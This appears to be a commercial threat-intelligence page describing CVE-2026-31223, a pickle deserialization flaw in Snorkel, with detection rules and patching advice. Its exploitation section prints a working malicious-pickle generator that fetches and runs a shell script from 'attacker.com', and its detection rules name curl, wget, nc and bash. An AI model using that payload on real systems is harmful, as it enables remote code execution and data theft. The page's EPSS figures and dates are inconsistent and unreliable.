☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Snorkel logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-502
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-31223

CVE-2026-31223 Deserialization in snorkel
📅 PUBLISHED: 2026-05-12 00:00 UTC 🔄 UPDATED: 2026-10-18 18:58 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.69%
👁️
0.69% probability
17.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-31223 is a critical insecure deserialization vulnerability in the Snorkel library (versions through 0.10.0), specifically in the BaseLabeler.load() method of the BaseLabeler class. The method deserializes labeler models using Python's unsafe pickle.load() function on user-supplied file paths without validation, enabling arbitrary code execution on any system that processes a malicious pickle file. Affected are all organizations using Snorkel for programmatic data labeling or weak supervision workflows, particularly those in data science pipelines where model artifacts are shared or retrieved from untrusted sources. With a CVSS score of 8.8 (High severity) and EPSS probability of 0.392%, successful exploitation results in full system compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability resides in Snorkel's BaseLabeler.load() method, a class-level method used to restore serialized labeler models. The method signature accepts a file path and passes it directly to Python's pickle.load(). Python's pickle module, while convenient for object serialization, is fundamentally unsafe for untrusted data because the pickle protocol implements an opcode-based virtual machine (pickle machine) that can execute arbitrary Python bytecode during deserialization. This is not a theoretical concern — the pickle module's documentation explicitly warns that it should never be used on untrusted data.

The vulnerable code path is triggered when a user calls BaseLabeler.load('path/to/model.pkl'). The method opens the specified file and invokes pickle.load() on the file object. Because pickle trusts the serialized stream entirely, a carefully crafted pickle file can specify opcodes such as REDUCE, GLOBAL, or BUILD to execute arbitrary functions with attacker-controlled arguments. The most common exploitation primitive is the __reduce__ magic method pattern, where a class definition overrides __reduce__ to return a callable and its arguments that the pickle machine will invoke upon deserialization.

The attack surface is broadened by Snorkel's typical usage patterns. Data science teams frequently share labeler models as pickle artifacts through internal file shares, cloud storage buckets (S3, Azure Blob), Jupyter notebook kernels, or MLOps artifact registries. Any workflow that loads a labeler from a path derived from user input, external configuration, or a shared artifact repository is exploitable. Additionally, since the method uses a file path (not a network endpoint directly), the vulnerability is exploitable via any mechanism that delivers a malicious pickle file to a victim — including phishing attachments, malicious model registries, poisoned training datasets, or supply chain attacks on ML artifacts.

The vulnerability severity is amplified by the fact that it affects the BaseLabeler class specifically, which serves as the foundation for all labelers in the Snorkel ecosystem. This includes LabelModel, MajorityLabelVoter, and custom labeler subclasses. Any code derived from or invoking BaseLabeler.load() inherits the flawed deserialization behavior, making this a systemic issue within the library, not an isolated code path.


Exploitation Scenarios

Attack Chain: Poisoned Model Artifact → RCE

The following scenario assumes the victim operates a Snorkel-based data labeling pipeline and retrieves labeler models from a shared artifact repository (e.g., internal MLOps registry, AWS S3 bucket, or Git LFS).

Step 1 — Reconnaissance & Targeting: The attacker identifies organizations using Snorkel by scanning public code repositories for references to BaseLabeler.load(), LabelModel.load(), or snorkel.labeling imports. They also monitor ML-related job postings, conference talks, and open-source contributions. Public artifact repositories (PyPI, HuggingFace Hub, GitHub Releases) are scraped for Snorkel pickle artifacts.

Step 2 — Weaponization: The attacker crafts a malicious pickle file. Using Python's pickle module directly, they construct a payload that executes a reverse shell or drops a backdoor. A minimal example:

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

payload = pickle.dumps(Exploit())
with open('labeler_model.pkl', 'wb') as f:
    f.write(payload)

The resulting file is a valid pickle stream that, when loaded, invokes os.system() with the attacker's command. The attacker can also craft payloads using subprocess.call, pty.spawn, or base64-encoded Python pickle opcodes to evade simple string-based detection.

Step 3 — Payload Delivery: The attacker uploads the malicious pickle to a public or semi-public repository commonly used by the victim organization (e.g., an S3 bucket with lax permissions, a shared drive, or a GitHub repo). Alternatively, the attacker sends it directly to a data scientist via a spear-phishing email, disguised as a model export from a collaborator. If the target uses JupyterLab or a similar environment, the attacker could also trigger the download via a malicious notebook URL.

Step 4 — Execution: When the victim runs code that loads the model:

from snorkel.labeling import BaseLabeler
labeler = BaseLabeler.load('labeler_model.pkl')

The load() method invokes pickle.load() on the file, the malicious __reduce__ opcodes execute, and the attacker's command runs with the privileges of the user executing the Python process. In typical data science environments, this means full user-level access, including credentials for databases, cloud APIs, and data lake access stored in envioronment variables or local config files.

Step 5 — Post-Exploitation: The attacker establishes persistence (cron job, systemd service, SSH key injection), pivots to connected infrastructure (database servers, data warehouses, Kubernetes clusters), and exfiltrates sensitive data. In MLOps environments, the attacker can poison training data, manipulate model outputs, or use compromised GPU nodes for cryptocurrency mining.


Impact Assessment

CVSS Breakdown: The CVSS score of 8.8 (High) reflects the following: Attack Vector = Network (AV:N) — the malicious pickle can be delivered remotely; Attack Complexity = Low (AC:L) — no specialized conditions needed; Privileges Required = None (PR:N); User Interaction = Required (UI:R) — a user must invoke load() on the malicious file; Confidentiality, Integrity, Availability = High (C:I:H/A:H) — arbitrary code execution enables full data theft, data corruption, and service disruption.

Business Impact: Successful exploitation results in full system compromise of the victim's workstation or server. In enterprise environments, data science workstations are often connected to production data stores, model serving infrastructure, and cloud environments with elevated IAM permissions. A successful attack can lead to: (1) exfiltration of proprietary training data, PII, or financial records; (2) injection of backdoored models into production ML pipelines; (3) lateral movement into broader corporate network; (4) financial fraud through manipulated predictions (e.g., credit scoring models). The blast radius extends beyond the immediate host to any resource the compromised user can access.

Affected Systems: All Snorkel versions ≤ 0.10.0 are affected. Systems are at risk if they: (a) load labeler models from untrusted sources; (b) share pickle artifacts internally; (c) use automated pipelines that ingest models from external registries. Given Snorkel's popularity in the data labeling field (used by major tech companies and research institutions), the potential exposure is significant.


Detection Guidance

Sigma Rule

title: Snorkel BaseLabeler.load Insecure Deserialization Attempt
id: cve-2026-31223-snorkel-pickle-rce
status: experimental
description: Detects attempts to load Snorkel labeler models via pickle.load(), which may indicate exploitation of CVE-2026-31223.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-31223
author: Valtersit Threat Intelligence
date: 2026/02/15
tags:
    - attack.t1203
    - attack.privilege_escalation
    - cve.2026.31223
logsource:
    category: process_creation
    product: linux
detection:
    selection_pickle_load:
        Image|endswith: '/python'
        CommandLine|contains:
            - 'pickle.load'
            - 'BaseLabeler.load'
    selection_file_extension:
        CommandLine|contains:
            - '.pkl'
            - '.pickle'
    condition: selection_pickle_load and selection_file_extension
falsepositives:
    - Legitimate use of Snorkel to load trusted labeler models
level: high

YARA Rule

rule CVE_2026_31223_Snorkel_Malicious_Pickle
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects malicious pickle files crafted to exploit CVE-2026-31223 in Snorkel BaseLabeler.load()"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-31223"
        date = "2026-02-15"
        score = 85
    strings:
        $opcode_reduce = { 52 00 }  // REDUCE opcode (0x52)
        $opcode_global = { 63 00 }  // GLOBAL opcode (0x63)
        $opcode_build  = { 62 00 }  // BUILD opcode (0x62)
        $os_system     = "os.system"
        $subprocess_call = "subprocess.call"
        $pty_spawn     = "pty.spawn"
        $reverse_shell = "bash" ascii
        $network_util  = "curl" ascii
    condition:
        any of ($opcode_*) and (any of ($os_system, $subprocess_call, $pty_spawn) or any of ($reverse_shell, $network_util))
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-31223 - Snorkel Malicious Pickle Download Attempt"; flow:established,to_client; content:".pkl"; http.header_names; content:"Content-Type"; http.header_names; pcre:"/\.pkl$/Ui"; sid:2026312231; rev:1; metadata:attack_target Client_Endpoint, created_at 2026_02_15, cve CVE-2026-31223, deployment Perimeter, signature_severity Critical, tag RCE;)

alert smtp any any -> any any (msg:"CVE-2026-31223 - Snorkel Pickle Attachment Phishing"; flow:established,to_client; content:"filename"; nocase; content:".pkl"; nocase; sid:2026312232; rev:1; metadata:attack_target Client_Endpoint, created_at 2026_02_15, cve CVE-2026-31223, deployment Perimeter, signature_severity Critical, tag Phishing;)

Elastic Detection

sequence by host.name with maxspan=30s
  [process where event.type == "start" and process.name == "python" and
   process.args in ("*.pkl", "*.pickle") and
   process.args == "*BaseLabeler.load*"]
  [file where event.action == "open" and file.extension in ("pkl", "pickle") and
   file.path : "*labeler*"]

Splunk SPL Query

index=main sourcetype=linux_process
| where process_name="python" 
| regex command_line="(?i).*(pickle\.load|BaseLabeler\.load).*\.(pkl|pickle).*"
| table _time, host, user, process_name, command_line, parent_process_name
| stats count by host, user, command_line

Wazuh OSSEC Rule

<group name="python,snorkel,">
  <rule id="100312" level="12">
    <decoded_as>syslog</decoded_as>
    <field name="command">(?i).*pickle\.load.*</field>
    <field name="command">(?i).*BaseLabeler\.load.*</field>
    <description>CVE-2026-31223: Snorkel BaseLabeler.load unsafely invoking pickle.load for model deserialization</description>
    <mitre>
      <id>T1203</id>
    </mitre>
    <group>attack.privilege_escalation,pci_dss_6.5.1,</group>
  </rule>
  <rule id="100313" level="14">
    <decoded_as>syslog</decoded_as>
    <field name="command">(?i).*(\.pkl|\.pickle).*</field>
    <match>curl|wget|nc |bash</match>
    <description>CVE-2026-31223: Snorkel pickle load followed by network exec command — potential RCE</description>
    <mitre>
      <id>T1203</id>
    </mitre>
    <group>attack.privilege_escalation,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence Assessment: The patch claim is rated 2/4 (CLAIMED) — only a single source (OSV) reports a fix, and the specific fixed version is not yet confirmed. Until verified, treat all Snorkel versions ≤ 0.10.0 as vulnerable.

Immediate Mitigations (1-3 days):

  1. Disable model loading from untrusted paths: Implement a wrapper that validates file integrity (SHA-256 hash allowlist) before invoking BaseLabeler.load(). Reject any file not on the approved list.
  2. Sandbox the loading process: Isolate all Snorkel labeler loading into a container or VM with minimal privileges. Use Docker with a read-only root filesystem, no network capability, and a non-root user.
  3. Monitor for malicious pickle signatures: Deploy the Sigma, YARA, and Splunk rules above in your SIEM and EDR solutions.
  4. Restrict file shares: Ensure S3 buckets, Azure Blob containers, and network shares containing model artifacts have strict IAM policies with no public access.

Patch/Upgrade Steps:

  1. Monitor OSV and the Snorkel GitHub repository for the official patch release. The fix will likely replace pickle.load() with a safe deserialization library such as safetensors (for tensors) or JSON/Protobuf based serialization with explicit schema validation.
  2. Once a patched version is confirmed, upgrade via pip install snorkel --upgrade and verify the version with pip show snorkel.
  3. Until the official patch release: Consider forking the library and replacing pickle.load() with an allowlist-based unpickler (e.g., using pickle.Unpickler.find_class overridden to whitelist only snorkel classes).

Long-Term Hardening:

  1. Adopt safe serialization formats: For any ML project, replace pickle with safetensors, ONNX, or JSON/MessagePack schemas. These are inherently safe against code injection.
  2. Implement artifact signing: Digitally sign all model artifacts. Verify signatures before loading.
  3. Principle of least privilege: Ensure data science workstations and ML pipeline execution environments have minimal credentials. Use service accounts with short-lived tokens and no broad cloud IAM permissions.
  4. Supply chain security: Use dependency scanning tools (Snyk, Dependabot, Trivy) to flag vulnerable Snorkel versions in CI/CD pipelines.
  5. User training: Educate data scientists on the dangers of pickle and require security review for any new model artifact sources.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-31223 — Official NVD vulnerability record with CVSS score and description.
  2. OSV Advisory: https://osv.dev/vulnerability/CVE-2026-31223 — The single source currently claiming a patch exists; monitor for updates.
  3. Python Pickle Module Documentation: https://docs.python.org/3/library/pickle.html — Official documentation warning about the dangers of deserializing untrusted data, the root cause of this CVE.
  4. Snorkel GitHub Repository: https://github.com/snorkel-team/snorkel — Monitor for the official security patch release and subsequent versions.
  5. CWE-502 Reference: https://cwe.mitre.org/data/definitions/502.html — MITRE CWE entry for Deserialization of Untrusted Data, the vulnerability class this CVE falls under.

Threat Actor Intelligence: As of this report's publication, there are no publicly reported in-the-wild exploitation campaigns, CISA KEV entries, or known threat actor groups specifically targeting this CVE. The EPSS score of 0.392% indicates a low known exploitation probability. However, this CVE is part of a larger pattern of ML supply chain attacks and pickle deserialization exploits that have been increasingly targeted by attackers since 2024. The lack of public exploit code does not preclude the existence of private exploits in use by well-resourced adversaries.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

snorkel labeler pickle
snorkel BaseLabeler load
snorkel model file

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-31223/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.